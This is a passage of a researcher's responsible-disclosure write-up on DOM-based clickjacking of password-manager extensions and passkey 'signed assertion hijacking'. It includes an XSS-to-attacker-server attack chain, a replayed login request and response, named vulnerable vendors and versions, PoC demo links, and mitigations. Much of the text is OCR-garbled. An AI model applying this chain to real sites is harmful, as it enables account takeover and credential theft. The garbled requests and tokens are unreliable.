subdomain in this case. The only exception would be if CORS requests to the passkeys auth server

were allowed for the subdomain.

Even passkey dialogs can be made invisible

It Log in with Dashlane

test@test.com
= TestPasskeys.com

Use a different passkey

X

fR Ly
Y T

ey
P

Log in with passkey?

29 TestPas_skeys.com

[ = i1,
Rl ETELLLNY ¥ L

Use Non-NordPass Key



In some cases, it was possible to exploit passkey authentication using DOM-based extension
clickjacking. One method of exploitation was "Signed Assertion Hijacking".

When creating a challenge, it is recommended that a session is also created on the server =
session-bound challenge (source1, source2).

This is how the basic passkeys login flow looks like:

Authenticator Client/Browser Server Database

GET /login/passkey (username) B!

Generate _§h_aﬂ!lenge
| -

Generate session 1D
=

—

Store challenge + session data |

.....Challenge + Set-Cookie: sessionlD |

ngvigator.credentials.get() - forward challen

User verification
| —

Signing c_h_a_ij\enge

-+
......... Signed assertion
POST /login/verify (assertion) + Cookie: sessiogID
Get public key + challenge + session
Pyiblic key + original challenge + session
Verify signature + c_l\_a_f[gnge + session
—
Generate s_.es_gion ID
-
Store session data .
g HTTP 200 + Set-Cookie: sessionld
Authenticator Client/Browser Server Database

If the server doesn't create a session along with the challenge, it's possible to exploit the entire
authentication flow. This results in "signed assertion hijacking," where the attacker steals the
signed assertion request and because nothing is required (no session), the attacker can use it to

complete the login.


https://developers.google.com/identity/passkeys/developer-guides/server-authentication
https://www.ackee.agency/blog/welcome-to-the-world-of-passkeys

Authenticator Client/Browser Server Database

GET /login/passkey (username)

Generate';hqllenge

(-

Store challenge

Challenge

S TROURCRRREIR, 4 1 )= . = RN R

ngviqator.credentials_qet() - forward challenge

User verification

LD

Signing chgj_[gnge
-—
...................... Signed assertion
_ POST /login/verify (assertion)
Get public key + challenge

Rublic key + original challenge

Verify signature + challenge

-

Generate session 1D
e

Store session data |l

HTTP 200 + Set-Cookie: sessionld

Authenticator Client/Browser Server Database

How does the attacker get this request? This can be done either by using XSS to intercept HTTP
communication and forwarding the request to attacker server. Or by using XSS to modification the
same passkey script but change the endpoint for the signed assertion. Again, they would send this
request to their own server. This request is always one-time use, so XSS must be used to prevent
the victim from sending it to the auth server.

How common is it for servers not to implement session-bound challenges? | looked at the FID
O Certified Showcase ("The FIDO Company Showcase highlights FIDO Alliance members and their
FIDO Certified solutions.") and tested all passkey solutions (Category Passkeys). After filtering, |
got 17 results. Not all solutions had a demo or SDK - | found 7.

The result was that 4 out of 7 did not implement "session-bound challenge", making this
attack exploitable. Hanko - https://www.hanko.io (demo: https://www.passkeys.io) SK Telecom
- https://www.sktelecom.com (demo: https://portal.passkey-sktelecom.com) NokNok -
https://noknok.com (demo: https://bankauth.noknokdemo.com) Authsignal -
https://www.authsignal.com (demo: https://demo.authsignal.com)

Screenshots of a "signed assertion" request without a session cookie: Hanko, SK Telecom, NokNok,
Authsignal

One example is the Hanko solution, used for the PoC demonstration (Hanko.io has 8,300 stars on
GitHub).

The screenshot shows that the "signed assertion" request doesn't contain session data.


https://fidoalliance.org/fido-certified-showcase/
https://fidoalliance.org/fido-certified-showcase/
https://marektoth.com/images/hanko.png
https://marektoth.com/images/sktelecom.png
https://marektoth.com/images/noknok.png
https://marektoth.com/images/authsignal.png
https://www.hanko.io/
https://github.com/teamhanko/hanko
https://github.com/teamhanko/hanko

POST /loginraction=

webauthn_verify_assertion_response%48d3be32a7-618a-430e-8784-a7f@82e77bBb9 HTTP/2

Content-Length: 671
X-Language: en

Sec-Ch-Ua-Platform: "Windows"

o oW P W b

Gecko) Chrome/138.8.0.8 Safari/537.36
Accept: application/json

Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?@

Origin: https://www.passkeys.io
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://www.passkeys.io/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=08.9,c5;q=0.8
Priority: u=1, i

1@
11
12
13
14
15
16
17
18
19
28
21 {
"input_data":{
"assertion_response":{

Nhwuma™ s "anib1 4 - _ L™

W,
¥

Host: b4eB294d7-effB-4c98-91a8-7el1577bfbc8b.hanko.iao

User-Agent: Mozilla/5.@ (Windows NT 10.0; Wined; x64) AppleWebKit/537.36 (KHTML, like

v="138", "Google Chrome";v="138"

Upon intercepting this request, an attacker can replay it to receive a "200 OK" response with a

newly session (auth token).

Request
Preaty Hacivertor o8 = B
1 POST Jleginaction=

webauthn_verify_assertion_responsefdfdibella?-61Ba-430e-8784-a7702eTThobd HTTR/2

Host: bAeBR4d7-effB-Ac0B-91aB-7a1577bfbeBb. hanks . io

Content-Length: 671

X-lLanguage: en

Sec-Ch-Ua-Platfora: "Windows"

User-Agent: Mozilla/5.8 (Windows NT 18.8; WinGd; xG4) AppleMebkit/537.36 (KHTML, 1fke
Gecko) Chrome/128.0.9.0 Safarif537.36

accept: application/json

See-Ch-Ua: “Net)A:Bramd®;v="E", "Chroaium";v="138", "Goople Chrome"iv="138"

Content-Type: application/json

Sec-Ch-Ua-Hobile: o

Origin: WEtps:/ S passkeys. i

Sec-Fetch-5ite; cross-site

Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

Sec-Fetch-5torage-Access: active

Referer: https://www.passkeys.io/

17 hecept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q-8.9,c5;9-8.8

Raw Hiew -

2

-

10 Priority: u=1, i
a0
214
“input_data®:{
Tassertion_response”:{
"type":"public-kay",
"id* GNnippzlSafcHSBFx-AR",
"rawld” :"reGNn ppzIsafeHSFE- A",
"authenticatorattachment":"platforn”™,
"pesponse”: {
"cHentDatalson"
"eyIBaX8lIjold2ViviveaGduZ VAT 1wl Y2 hhbGx 1 bad11 joi THIYOVhP dmEMMnNmT
HiELVAhDaaF UL hEBFQZTYI0SU1ZBFNH0S ThE 1 IKOE T Indyakdph L TG Iah@dHB 2018
vdid3LnBhe3NrExlzimlvIiwiY3 IvcINFomlnaka iOnZhbiNL FO",
"authenticatorData”:
“IteEK9B-kIFIE-tneQE@f ThONTOEL-_FeXqSqat LWNcdinanma”,
"signature”:
"MEUCIHHDMabexel® _jCV1-tSydcRSo_Wkex¥uhf@hSUyragMAiEASTON1IBEWLCA_
We-gvneBxluAvTLBARL ISDGShUkvI™,
"wserHandle™; "41Vv3SHI(x5almz SI¥pmEeA™
¥
"eligntExtensionResults™:{
}
}
3
“esrf_token”:"plukQadncrTkqoSGEWTYydahPyhw INUIK"
1

How does the entire attack work?

Response

Prelly  Raw  Mex  fender  Hackeeror Bn

1 HTTR/2 288 0K

2 Access-Control-Allow-Credentials: true

5 Access-Control-Allow-Origin: https://wew.passkeys,io

1 Access-Control-Expose-Headers:
Retry-After,X-RateLimit-Limit,X-RateLinit-Remaining,X-RateLimit-Reset,X-Session-
Lifetime,X-5ession-Retention, X-Auth-Token

Content-Type: application/json

Date: Monm, 94 Aug 2025 121:25:58 GMT

Vary: Origin

X-Auth-Token:

eyIhbGe i0EISURTINITS ImtpZCIOTIF AMTYAMTUY LWY IMSYENGE N1 1RODMILTRENj e IMZR M2 VRHY TS
INRSCCIGTRPXVCIS, oy ThdWRiols id3d3LnBheINFZX12LmIvI1@s IV TYW1ST ip7 IMFRZHI1C3MEDLT
BZANBLAVZZXIAZXhhDXBSZS5 1b281LCT pelSwenl tyXIST{p@enVILCIpc1922XIpInl 1ZCI6ZaFsc 2y
SLCILeHALOSEINTOZMTHSNTE s Tm1hdC TEMTe INDMxMOM 100w 1 akhz T fold aHRBcHMGL S INGUAOTRKkNy 1
LZaYWLTRIOTEEOTFAMCR3ZTE N2 i Zm] JOGTUAGFUAZBuaWBiLCIZ TN aWIUX 2RI JoiNZEYTJZRITT
TMZIWYSERZTULILTL JZGI tM2VENWZ IMTR100Q2 TEwi c 3V ol ZTIINTZ=ZGYLZDF JOSEEMZEBLTLIN]Y
TNANMZDIX0GE ZMRLATNS, BIyXEwIWLMLTbZMGLIZA_xTWKIADLpdC 22617 cfyICNZ IMQ2WPOSYnosGdl
OxDgukSESrWghH250Y3_RABZbARZq4260c_hMknbl-a0x1L3SLE7 28X FAWLZVIgKvx3LT -HPSUFst 03
kfyiwpGONTh 322 FMKWSLUGH L gPEMFITARS L am39viv] 1L DuDYFEALWY XAPPE L e FTRGATRQDGAKGZ]_-¢
JRqPREOQYkNZ - DREGOFITNP_DXUgnELo-6Cx6I8YI4aKvI2g5TolLVCASEDEID -NBOXIHEOL -K10w] - am
ZEXMEFOVRTEUrm_kqHxZLWBDIEanbe2 IHIMGILdMEphexnZHAFCCGRSpIYSr IMM1kVIc ik _fODT_1yN
TkxTWFTSCAZPEERPYMEIUFTiHICN - 2qyVEDvk SEEF AHput Oyad--oYaTlwdnl6f D02 L qoukEr 2 -3hd B3
tikv_nhUAREGZZFW-BEUF_eVSFvwibzagFI0arVdVakkI 85 -xUqyvEnyAGYAUGKPLgdtxGnEok 14 load
3_PFSOTX4ADONSKS kyWYTwd] - 910 SUBDFeZoaXTAT FSrtxnSo-QUnFBOL-FpXpL_LY_Nr2x6olDasD
Janru0envIo]SoheNjUsWEARhry -duBX_KARSjv-D]359nLEtvFKPIppTepahQa

X-Request-Td: PEkDCzdQlafAokwgtecZUpGTmThwkXph

H-Sesslon-Lifetime: 3668

X-Session-Retention: persistent

S

12 Content-Lemgth: 1362
13
14 {
“name":"success",
“status":208,
"payload":{
"claims":{

"audience":[
" passkays . io®

»
"expiration":"2825-BE-84T13:25: 58, 1HT1T27132",
"issued_at®:"1825-8H-BAT11:35:58 18VLIT2V13E",
"isswer":"https://bdeddddT-effo-dc98-91a0-Tel157 FbfbcBh. hanko.io",
“session_id":"7alfédel-32aa-4e55-3cdb-35a5Fe1B58437,
"subject™:"e2556Tdf-d1¢0-4314-0066-6cfd218a66e8"

e The attacker finds XSS on a server where passkeys are used



e Copies the entire passkey script and changes the "signed assertion" endpoint to their own
server

e Executes the passkey script via XSS and uses DOM-based extension clickjacking technique to
hide the passkey dialog

e The victim visits the URL with XSS vulnerability and clicks once (accept cookies = confirming the
login via passkeys)

e The attacker obtains the signed challenge (signed assertion), which is sent to their server

e The attacker sends the signed assertion from their server to the auth server

because no session was required, signed assertion request wasn't used and the request
contained a valid signed challenge, the entire request was valid and the attacker is logged in as
victim (with newly created session)

'I/'I 6 Authenticator Client/Browser Server Database

GET /login/passkey {usernameL

Generate challenge
bl
|

Store challenge o]

Challenge

-

User verification

)
| -

Signing challenge

|
Signed assertion
POST /legin/verify (assertion) o
Get public key + challenge
FPublic key + original challenge

Verify signature + challenge
y

—

Generate session ID
-—

Store session data 51

HTTP 200 + Set-Cookie: sessionld

Authenticator Client/Browser Server Database

PoC Video:

In the following video, the victim uses ProtonPass and then makes a single click (accept cookies).
The attacker gets "signed assertion" request and was able to send it to the server.

Besides FIDO solutions, | found some others as well. | tested primarily on their demo solutions and
again there was no "session-bound challenge" implementation.

Other solutions without "session-bound challenge" implementation: Passage -
https://passage.1password.com (demo: https://passage.1password.com/demo) Corbado -
https://www.corbado.com (demo: https://passkeys.eu) Descope - https://www.descope.com
(demo: https://www.passkeys.guru)

In many cases, passkey solutions do not verify users when adding additional devices = the
attacker is able to add their own device and thereby gain "Persistent Access". he will
always be able to log into the account using the added passkey (until the victim removes it)



The result is that if there were no clickjacking vulnerability in the password manager, this method
would not be easily exploitable = the user would see a passkey dialog that they would have to
confirm.

1 click from the victim - the attacker has access to victim's account even when passkeys are used
for authentication (the attacker has a new session for the victim's account.)

Final table (img):
| Password Manager | Credit Card | Personal Data | Login | TOTP | Passkeys | | | 1Password |
1 click
1 click
0 click
1 click
| | | Bitwarden |
1 click
1 click

1 click

0 click

| | | Dashlane |


https://marektoth.cz/images/dombased-passkeys2.png

1 click

| | | Enpass |

1 click

1 click

1 click

0 click

| | | iCloud Passwords |

Not supported

|
Not supported

1 click

1 click

| | | Keeper |

5 clicks

5 clicks

1 click

0 click

1 click

| | | LastPass
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*automatic autofill enabled by default (0-click autofill)

Data Impact Summary

Credit Card - credit card number, expiration date, security code Personal Data - name, email,
phone, address, date of birth (some password managers) Login credentials - username, password,
TOTP (2FA) Passkeys - signed assertion hijacking (authentication flow hijacking) = creating a new
session

Password Managers: Vulnerable & Fixed Versions

All vulnerabilities were reported in April 2025 with a notice that public disclosure will be in August
2025. Vendors that haven't fixed the vulnerabilities had over 120 days to fix them.



Password Manager  Credit Card Personal Data Login Passkeys

2{ 1Password INFORMATIVE

X Bitwarden IN PROGRESS

[« Dashlane* FIXED

X Enpass IN PROGRESS

X iCloud Passwords IN PROGRESS

L Keeper FIXED

X LastPass* INFORMATIVE
X LogMeOnce* NOT FIXED - NO EMAIL REPLY

L NordPass FIXED

[ ProtonPass FIXED
.« RoboForm FIXED

*automatic autofill enabled by default (0-click autofill)

Fixed means that only the described methods from this research are patched . If other
methods exist or there is some bypass, then the extensions are still vulnerable (but | don't know of
any at the moment).

Fix Status (Updated: 14.1.2026)

VULNERABLE
1Password Vulnerable version: <=8.11.27.2 (latest 14.1.2026) Vulnerable methods: Parent

Element, Overlay PoC: **Login (opacity: 0.5), Login **Videos: opacity:0 opacity:0.5

In addition to the clickjacking vulnerability, 1TPassword has confusing texting in the dialog box
when filling in a credit card. There is generic text "item". The user may not know that it is a credit
card. (Update: texting in the dialog box was fixed in August 2025)

PoC with Credit Card:
See more in Credit Card section

LastPass Vulnerable version: <=4.150.1 (latest 14.1.2026) PoC: **Login (opacity: 0.5 - click on
the input box needed), Login (click on the input box needed) **Videos: opacity:0 opacity:0.5
Fixed: Credit Card, Personal Data <=4.125.0 (15.12.2023)

FIXED Below is an overview of the fixed versions. If some method is missing, it only means that |
can't trace back in which specific version it was.

Bitwarden Fixed: 2025.8.2 (31.8.2025) Vulnerable version: <=2025.8.1 Vulnerable methods:
Overlay Videos: opacity:0 + opacity:0.5

Do you think that stealing a payment card or personal data with a single click is a high severity
issue? Bitwarden sees this vulnerability slightly differently. Maybe it could be reason why it was not
fixed even after more than 4 months.

[image: image]


https://websecurity.dev/dom-based-extension-clickjacking/1password/8.11.8.40/login-visible/
https://websecurity.dev/dom-based-extension-clickjacking/1password/8.11.8.40/login/
https://websecurity.dev/video/1password.mp4
https://websecurity.dev/video/1password-visible.mp4
https://websecurity.dev/dom-based-extension-clickjacking/lastpass/4.146.8/login-visible/
https://websecurity.dev/dom-based-extension-clickjacking/lastpass/4.146.8/login-visible/
https://websecurity.dev/dom-based-extension-clickjacking/lastpass/4.146.8/login/
https://websecurity.dev/video/lastpass.mp4
https://websecurity.dev/video/lastpass-visible.mp4
https://websecurity.dev/video/bitwarden2.mp4
https://marektoth.com/images/bitwarden-reporting.png

Dashlane Fixed: v6.2531.1 (1.8.2025) Security Overview: https://support.dashlane.com/hc/en-
us/articles/28598967624722-Advisory-Passkey-Dialog-Clickjacking-Issue  Automatic autofill still
enabled by default (0 click - autofill without user interaction), see my previous research

Enpass Fixed: 6.11.6 Release Notes: https://www.enpass.io/release-notes/enpass-browser-
extensions/ Vulnerable: Parent Element, Overlay <=6.11.5 Extension Element <6.11.4.2

iCloud Passwords Fixed: 3.1.30 (21.10.2025) Vulnerable version: <=3.1.27 Videos: ** opacity:
0 opacity:0.5 **Acknowledgements: August 2024 https://support.apple.com/en-us/122162 Fixed:
Extension Element <2.3.22 (12.8.2024)

Keeper Fixed: 17.2.0 Vulnerable: Extension Element <17.1.2 (26.5.2025) Overlay <17.2.0
(25.7.2025)

LogMeOnce Fixed: 7.12.7 (9.9.2025) Vulnerable version: <=7.12.6 Vulnerable methods:>
Extension Element, Parent Element, Overlay Videos: opacity:0 opacity:0.5 Automatic autofill still
enabled by default (0 click - autofill without user interaction), see my previous research

NordPass Fixed: 5.13.24 (15.2.2024)

ProtonPass Fixed: 1.31.6 Acknowledgements: https://proton.me/blog/protonmail-security-
contributors Vulnerable: Extension Element, Parent Element <1.9.5 (22.12.2023) Extension Element
<=1.31.0 (CRX) Overlay <=1.31.4

RoboForm Fixed: 9.7.6 (25.7.2025) Release Notes: https://www.roboform.com/news-ext-
chrome Vulnerable: Extension Element <9.5.6 (7.12.2023) Parent Element, Overlay <=9.7.5
(25.7.2025)

KeePassXC-Browser Fixed: 1.9.11 (26.11.2025) Videos: opacity:0 + opacity:0.5 (1.9.9.2), clean ins
tallation & default settings: opacity:0 + 0.5 (1.9.9.2)

Below is a video for version 1.9.9.1. The same vulnerability is in version 1.9.9.2.

Demo Sites

Update 11.9.2025: Github repository

Demo sites and scripts: Github

Update 22.8.2025: New Demo Sites - Login Credentials

To test the credentials, you first need to save the details. You can do here.

Script works with: 1Password (8.11.7.2), Bitwarden (2025.8.0), iCloud Passwords (3.1.25),
KeePassXC-Browser (1.9.9.2), LastPass (4.146.3)

Created for chromium-based browsers, used "fixed" position for easy debugging: opacity:0.5: h
ttps://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/visible
opacity:0: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/

You can try vulnerable password managers on demo sites. It is prepared for 1Password and
Bitwarden.

Demo sites: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/


https://marektoth.com/blog/password-managers-autofill/
https://websecurity.dev/video/icloudpassword.mp4
https://websecurity.dev/video/icloudpassword.mp4
https://websecurity.dev/video/icloudpassword-visible.mp4
https://websecurity.dev/video/logmeonce.mp4
https://websecurity.dev/video/logmeonce-visible.mp4
https://marektoth.com/blog/password-managers-autofill/
https://marektoth.com/files/ghmbeldphafepmbegfdlkpapadhbakde_1_31_0.crx
https://websecurity.dev/video/keepassxc1992.mp4
https://www.youtube.com/watch?v=Mx0YWLH6pYA
https://www.youtube.com/watch?v=Mx0YWLH6pYA
https://github.com/marektoth/DOM-based-extension-clickjacking
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/loginform/
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/visible
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/visible
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/overlay/
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/

To test stored credentials, you need to save them for the domain. You can do this here:
https://websecurity.dev/password-managers/dom-based-extension-clickjacking/loginform/

You don't need to click on the exact location to fill in the data - clicking anywhere on the page is
sufficient.

This is a basic proof-of-concept. A real attacker would overlay the same page for display purposes
and would have pre-prepared website screenshots for different screen resolutions.

No data is sent anywhere, all data is only displayed on the page. But it's definitely better not to
enter real credentials there.

Demo sites: Full Overlay (Personal Data)
e Personal data will be in console

opacity:0.5: https://websecurity.dev/overlay/index2.html opacity:0: https://websecurity.dev/overla
y/
Demo sites: Full Overlay (Login Form)

e login credentials will be in console

opacity:0.5: https://websecurity.dev/overlay/login-opacity.html opacity:0: https://websecurity.dev/o
verlay/login.html

Users at Risk

How many users could have been affected by this vulnerability? Giving a specific number can be
problematic. Not every user necessarily uses browser extensions, but only mobile applications.

Therefore, | decided to count data from Chrome Web Store, Edge Add-ons, and Firefox Add-ons,
which should provide information about active installations.

The vulnerabilities affected not only Chromium-based browsers but also extensions for other
browsers. Due to the wider adoption of Chromium-based browsers, | demonstrated all the videos
using them.

The values are always calculated at the time of reporting, or if the vulnerability is not fixed, the
data are from the past few weeks.


https://websecurity.dev/overlay/index2.html
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Password Manager Reports / Press

1Password 15 million
Bitwarden | 10 million
Dashlane | 19 milliocn
Enpass 2 million

iCloud Passwords ===

Keeper 4 million
LastPass 30 million (2022)
LogMeOnce | iz
NordPass | 4.2 million (2024)
ProtonPass s
RoboForm | 6 million

Chrome Web Store / Edge Add-ons / Firefox Add-ons

5000 000 /1600 000+ /350 000+
4 000 000 /2100 000+ / 850 000+
1000 000 / 900 000+ /117 000+
100 000 / 60 000+ /12 000+
4 000 000 /1400 000+ / 80 000+
1000 000 /1300 000+ / 60 000+
9 000 000 /3700 000+ / 470 000+
10 000 /7 000+ / ---

700 000 / --- / 44 000+ (2024)
600 000 / 42 000+ / 92 000+
600 000 / 500 000+ / 58 000+

60,2 million users
(30 million LastPass users aren't counted)

39 752 000+ active installations

The result is that tens of millions of users could be at risk (~40 million active installations).

Limitation

The most significant limitation is the auto-lock/auto-logout functionality based on inactivity

time.

By default, it is enabled with a very short time in 1Password (10 min) or Enpass (1 min). Some
others also have this restriction, but with an inactivity time longer than 1 day, so the limitation is

not as critical for them.

For example, iCloud Passwords uses the auto-lock functionality, but it has absolutely no effect on
autofill. The clickjacking technique works even if iCloud Passwords is locked or if Lockdown

Mode is enabled.
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Another limitation is the auto-lock/auto-logout functionality based on browser restart. In general,
it is necessary to have the password manager unlocked for successful attack.

Another limitation, or rather obstacle that the attacker must account for, is the different screen
resolutions on the user side. If the attacker uses a background-image with a screenshot of a web
page, it must display correctly. Therefore, they must first determine the resolution using javascript
and then use the appropriate image resolution.

Of course, a successful attack requires at least one user click. But with the use of various "click"
elements, | don't think this is a significant limitation. How many times a day do you click on a
cookie or login dialog?

To steal credentials, the user also needs to have stored data for the domain. However, if we are
talking about an attack on well-known services, users will most likely have those credentials saved.

Mitigation

Browser extension developers should focus on the following parts. The missing fix of one method
leads to the extension remaining vulnerable.

Extension Element - styles cannot be changed (MutationObserver) « using "Closed Shadow-Root"



Parent Element - BODY/HTML opacity detection * using Popover API for extension should protect
this method

Extension Overlay * last DOM element detection (z-index conflict) - the extension Ul element
must be the last element in DOM + popover elements listing - when the autofill menu is opened,
check if any other "top layer" elements exist if another element exists the autofill menu should
close orjust don't show extension Ul if exist "popover" element « elementsFromPoint() can be
used for partial overlay but cannot be used for popover elements (pointer-events:none are
ignored) The content script can temporarily remove pointer-events:none from all popover
elements before filling in data, then check the "top layer" state using elementsFromPoint() and fill
the data accordingly.

It's necessary to handle both cases: * when the Ul is about to appear (opacity changes or overlays
occur before the Ul is rendered) * when the Ul is already visible (opacity changes or overlays occur
immediately after the Ul has been rendered)

Doesn't exist simple protection. Some platform-level support should be created - new browser
API protection for this clickjacking technique.

The proposed solutions are still handled through javascript and conflicts may occur between
exploit code and extension content script (extension white-box analysis can be made). The safest
solution is to display a new popup window - but that will be very inconvenient for users.
Alternatively, a context menu or a system dialog for autofill may then be displayed.

Check that you have automatic updates enabled and that you are using the latest versions.
Especially in companies, versions may be dependent on administrators, who should definitely
keep everything updated.

Regarding the recommendations, it's a somewhat complicated situation. Not every solution will
Suit every user.

*Disable manual autofill - copy/paste only *

e Many password managers allow disabling this function. But it can be inconvenient for
someone. Especially when filling in personal information.

Set only exact URL match for autofill credentials

e This can easily mitigate the impacts for subdomains but an attacker can still find a vulnerability
on exactly the same domain. Still can be exploitable credit card/personal data.

Such a "hybrid" solution can be in manually control autofill functionality. Below are
instructions for Chromium-based browsers only, | was unable to find this setting for Mozilla
Firefox.

Chromium-based browsers: Extension settings site access "on click"

With this setting, the browser extension will not access the site. The user can temporarily grant
access by clicking the extension icon next to the address bar.
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Added 26.8.2025: Disabling manual autofill (Ul injected into the DOM = autofill suggestion) -
Using only "autofill” via the extension icon (see bellow)

e Not all password managers have this option. Examples of supported ones include Bitwarden or
1Password. When using this option, it is always necessary to disable autofill suggestion
injected into the DOM.
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Some users use keyboard shortcuts to autofill data — you are still at risk if you have the
default settings

e All password managers in the research insert an autofill Ul into webpages by default. A single
click can still expose your stored credentials. For this reason, you should disable the autofill
Ul (autofill suggestion) in your password manager.

Conclusion

Clickjacking is not dead - browser extensions are vulnerable to clickjacking iframe-based and
especially to the DOM-based

No vulnerability is needed to leak your credit card, personal data 1 click = credit cards
details or personal data (attacker's website) 2 clicks = credit cards details + personal data
(attacker's website)

Malicious script can be on any trusted website (XSS, subdomain takeover, web cache
poisoning...). XSS is not RCE, attackers can find (easily) this vulnerability. 1-2 clicks = attacker
gets your credentials incl. TOTP (only for vulnerable domain) 3 clicks = attacker gets your
credentials incl. TOTP (only for vulnerable domain) + credit cards details 4 clicks = attacker gets
your credentials incl. TOTP (only for vulnerable domain) + credit cards details + personal data

Fixed: NordPass, ProtonPass, RoboForm, Dashlane, Keeper Still vulnerable: Bitwarden, 1Password,
iCloud Passwords, Enpass, LastPass, LogMeOnce

Research on only 11 password managers others DOM-manipulating extensions will be
vulnerable (password managers, crypto wallets, notes etc. )

2FA should be strictly separated from login credentials - when storing everything in one place, so
the attacker could exploit vulnerable password managers and gain access to the account even
with 2FA enabled.
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